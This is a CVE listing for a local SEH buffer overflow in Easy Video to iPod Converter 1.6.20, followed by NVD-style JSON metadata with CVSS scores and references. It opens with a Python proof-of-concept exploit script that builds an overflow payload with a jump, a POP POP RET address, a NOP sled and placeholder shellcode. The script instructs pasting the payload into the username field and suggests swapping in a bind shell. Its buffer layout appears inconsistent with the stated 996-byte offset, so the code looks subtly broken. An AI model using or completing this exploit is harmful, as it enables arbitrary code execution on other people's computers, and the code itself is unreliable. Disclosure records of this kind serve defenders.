CVE-2019-25701

#!/usr/bin/python # PoC for CVE-2019-25701 - Easy Video to iPod Converter SEH Overflow import sys # Offset to overwrite SEH offset = 996 # Jump to the next SEH record (Short jump) nseh = "\xeb\x08\x90\x90" # POP POP RET instruction address (Universal or specific to module) # This address needs to be valid for the target application's loaded modules seh = "\x15\x41\x01\x10" # Payload (calc.exe or bind shell) # 350 bytes of NOP sled + Shellcode nop_sled = "\x90" * 50 shellcode = "\xcc" * 300 # Int3 for debugging, replace with real shellcode # Padding to align buffer padding = "D" * (offset - len(nseh) - len(seh) - len(nop_sled) - len(shellcode)) # Construct the payload payload = padding + nop_sled + shellcode + nseh + seh + "C" * 500 try: with open("exploit.txt", "w") as f: f.write(payload) print("[+] Payload generated successfully in exploit.txt") print("[+] Copy content into the username field of Easy Video to iPod Converter.") except: print("[-] Error creating file.")

{"cve": {"id": "CVE-2019-25701", "sourceIdentifier": "[email protected]", "published": "2026-04-12T13:16:32.940", "lastModified": "2026-04-17T17:01:23.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Easy Video to iPod Converter 1.6.20 contains a local buffer overflow vulnerability in the user registration field that allows local attackers to overwrite the structured exception handler. Attackers can input a crafted payload exceeding 996 bytes in the username field to trigger SEH overwrite and execute arbitrary code with user privileges."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ether_software:easy_video_to_ipod_converter:1.6.20:*:*:*:*:*:*:*", "matchCriteriaId": "F8D0E9D8-9E7B-4F61-A6F4-C65381457301"}]}]}], "references": [{"url": "http://www.divxtodvd.net/", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "http://www.divxtodvd.net/easy_video_to_ipod.exe", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.exploit-db.com/exploits/46255", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/easy-video-to-ipod-converter-local-buffer-overflow-seh", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}